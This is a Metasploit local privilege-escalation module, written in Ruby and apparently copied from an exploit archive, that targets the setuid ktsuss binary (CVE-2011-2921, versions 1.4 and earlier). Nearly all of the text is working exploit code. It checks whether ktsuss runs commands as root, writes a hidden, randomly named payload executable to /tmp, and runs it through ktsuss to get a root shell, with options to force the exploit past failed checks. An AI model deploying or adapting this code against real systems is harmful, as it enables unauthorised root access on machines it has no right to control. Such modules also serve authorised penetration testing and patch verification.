ktsuss 1.4 – suid Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ktsuss suid Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges by exploiting a vulnerability in ktsuss versions 1.4 and prior. The ktsuss executable is setuid root and does not drop privileges prior to executing user specified commands, resulting in command execution with root privileges. This module has been tested successfully on: ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64); and ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'John Lightsey', # Discovery and exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2011-08-13', 'References' => [ ['CVE', '2011-2921'], ['URL', 'https://www.openwall.com/lists/oss-security/2011/08/13/2'], ['URL', 'https://security.gentoo.org/glsa/201201-15'], ['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2011-2921/ktsuss-lpe.sh'] ], 'Platform' => ['linux'], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [['Auto', {}]], 'DefaultOptions' => { 'AppendExit' => true, 'PrependSetresuid' => true, 'PrependSetresgid' => true, 'PrependSetreuid' => true, 'PrependSetuid' => true, 'PrependFork' => true }, 'DefaultTarget' => 0)) register_options [ OptString.new('KTSUSS_PATH', [true, 'Path to staprun executable', '/usr/bin/ktsuss']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def ktsuss_path datastore['KTSUSS_PATH'] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data chmod path end def check unless setuid? ktsuss_path vprint_error "#{ktsuss_path} is not setuid" return CheckCode::Safe end vprint_good "#{ktsuss_path} is setuid" id = cmd_exec 'whoami' res = cmd_exec("#{ktsuss_path} -u #{id} id").to_s vprint_status res unless res.include? 'uid=0' return CheckCode::Safe end CheckCode::Vulnerable end def exploit unless check == CheckCode::Vulnerable unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end payload_name = ".#{rand_text_alphanumeric 10..15}" payload_path = "#{base_dir}/#{payload_name}" upload_and_chmodx payload_path, generate_payload_exe print_status 'Executing payload ...' id = cmd_exec 'whoami' res = cmd_exec "#{ktsuss_path} -u #{id} #{payload_path} & echo " vprint_line res end end |